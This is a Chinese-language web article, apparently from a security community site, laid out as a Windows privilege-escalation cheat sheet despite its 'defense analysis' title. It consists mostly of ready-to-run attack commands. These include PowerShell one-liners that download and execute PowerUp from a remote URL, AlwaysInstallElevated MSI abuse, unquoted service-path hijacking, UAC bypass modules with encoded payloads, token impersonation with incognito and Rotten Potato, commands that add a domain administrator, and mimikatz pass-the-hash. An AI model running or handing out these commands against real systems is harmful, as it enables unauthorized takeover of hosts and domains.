权限提升防御分析
系统内核溢出漏洞提权
手动执行命令发现缺失补丁
systeminfo
wmic qfe get Caption,Description,HotfixID,InstalledOn
发现补丁编号
wmic qfe get Caption,Description,HotfixID,InstalledOn | findstr C:"KB3143141" C:/"KB976902"
Windows Exploit Suggester
使用 systeminfo
命令获取当前系统的补丁安装状况,并将信息导入 patches.txt
文件中
- 更新补丁信息
python windows-exploit-suggester.py --update
- 检查漏洞
python windows-exploit-suggester.py -d 2019-02-02-mssb.xls -i patches.txt
Metasploit
内置 local_exploit_suggester
模块
powershell 中的 sherlock 脚本
https://github.com/rasta-mouse/Sherlock
import-module .\Sherlock.ps1
Find-AllVulns
https://github.com/rasta-mouse/Watson
Windows 配置错误利用
系统服务权限配置错误
powerup
https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc
powershell.exe -exec bypass -Command "&{Import-Module .\PowerUP.ps1;Invoke-AllChecks}"
powershell.exe -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowershellEmpire/PowerTools/master/PowerUp/PowerUp.ps1');Invoke-AllChecks"
metasploit 下的利用
对应模块 service_permissions
。
注册表键 AlwaysInstallElevated
AlwaysInstallElevated
是一个策略设置。微软允许非授权用户以 SYSTEM
权限运行安装文件(MSI),如果用户启用此策略设置,那么黑客利用恶意的 MSI
文件就可以进行管理员权限的提升。假设我们拿到目标主机的 Meterpreter
会话后并没能通过一些常规方式取得 SYSTEM
权限,那么 AlwaysInstallElevated
提权可以给我们带来另一条思路。
- 手动检测注册表:
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
如果值均为 1
,说明存在风险
- PowerUp 脚本
powershell.exe -exec bypass -c "IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowershellEmpire/PowerTools/master/PowerUp/PowerUp.ps1');Get-RegistryAlwaysInstallElevated"
添加账户
Write-UserAddMSI
以普通用户运行
msiexec /q /i UserAdd.smi
也可以利用 msf
中的 always_install_elevated
模块
可信任服务路径漏洞
metasploit 下的利用
- 检测目标机器是否存在漏洞
wmic service get name,displayname,pathname,startmode|findstr /i "Auto" | findstr /i /v "C:\Windows\\"|findstr /i /v """
- 把要上传的程序重命名并放置在此漏洞且可写的目录下,执行如下命令:
sc stop service_name
sc start service_name
- 也可以使用 msf 中的
Windows Service Trusted Path Privilege Escalation
模块进行测试
注意:
msf 要设置 set AutoRunScript migrate -f
防止掉线
自动安装配置文件
dir /b /s c:\Unattend.xml
dir /b /s c:\sysprep.xml
查看文件中知否存在 base64
加密的密码
msf 中集成了该漏洞的利用模块 post/windows/gather/enum_unattend
计划任务
查看计划任务
schtasks /query /fo LIST /v
查询可写的计划任务文件夹
accesschk.exe -dqc "C:\Microsoft" -accepteula
列出某个驱动器下所有权限配置有缺陷的文件夹
accesschk.exe -uwdqsUsersc:\
accesschk.exe -uwdqs"AuthenticatedUsers"c:\
列出某个驱动器下所有权限配置有缺陷的文件
accesschk.exe -uwdqsUsersc:\*.*
accesschk.exe -uwdqs"AuthenticatedUsers"c:\*.*
Empire 内置模块
usermode privesc/powerup/xxxx
绕过 UAC 提权
bypassuac 模块
前提:当前用户必须在管理员组中
exploit/windows/local/bypassuac
exploit/windows/local/bypassuac_inject
getsystem
RunAs 模块
exploit/windows/local/ask
弹出一个 UAC 框,用户点击后会弹回一个高权限的 shell
getuid 查看权限,如果是普通用户权限,执行 getsystem 提权
Nishang 中的 Invoke-PsUACme 模块
Invoke-PsUACme -Verbose ## 使用 Sysprep 方法并执行默认的 Payload
Invoke-PsUACme -method oobe -Verbose ## 使用 oobe 方法方法并执行默认的 Payload
Invoke-PsUACme -Payload "powershell -windowstyle hidden -e YourEncodedPayload"
## 使用-Payload 参数,可以自行指定要执行的 Payload
Empire 中的 bypassuac 模块
bypassuac 模块
usemode privesc/bypassuac
execute
bypassuac_wscript 模块
usemode privesc/bypassuac_wscript
execute
令牌窃取
msf 上的令牌窃取
假设已经获取了 meterpreter shell
use incognito
list_tokens -u
在 incognito
中调用 impersonate_token
impersonate_token DESKTOP-DUNPKQ9\\Administrator
注意
:在输入主机名 \
用户名时,需要输入两个反斜杠
Rotten Potato 本地提权
use incognito
list_tokens -u
execute -HC -f rottenpotato.exe
impersonate_token "NT AUTHORITY\\SYSTEM"
添加域管理员
假设网络中设置了域管进程,在 meterpreter shell
中迁移进程至域管进程中
net user test test123!@# /ad /domain
net group "domain admins" test /ad /domain
同样,在 meterpreter shell
中可以使用 incognito
来模拟域管理员,然后通过迭代系统中所有可用的身份验证令牌来添加域管理员。
在活动的 meterpreter shell
中执行如下命令:
add_user test test!@#123 -h 1.1.1.2
执行如下命令,将该账户加到域管理员组中。
add_user "Domain Admins" test -h 1.1.1.2
Empire 下的令牌窃取分析
运行 mimikatz
,输入 creds
执行:
pth CredID
无凭证下的权限获取
LLMNR 和 NetBIOS 欺骗攻击
Responder 工具
开启监听模式
如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。
绑定邮箱获取回复消息
由于您还没有绑定你的真实邮箱,如果其他用户或者作者回复了您的评论,将不能在第一时间通知您!
发布评论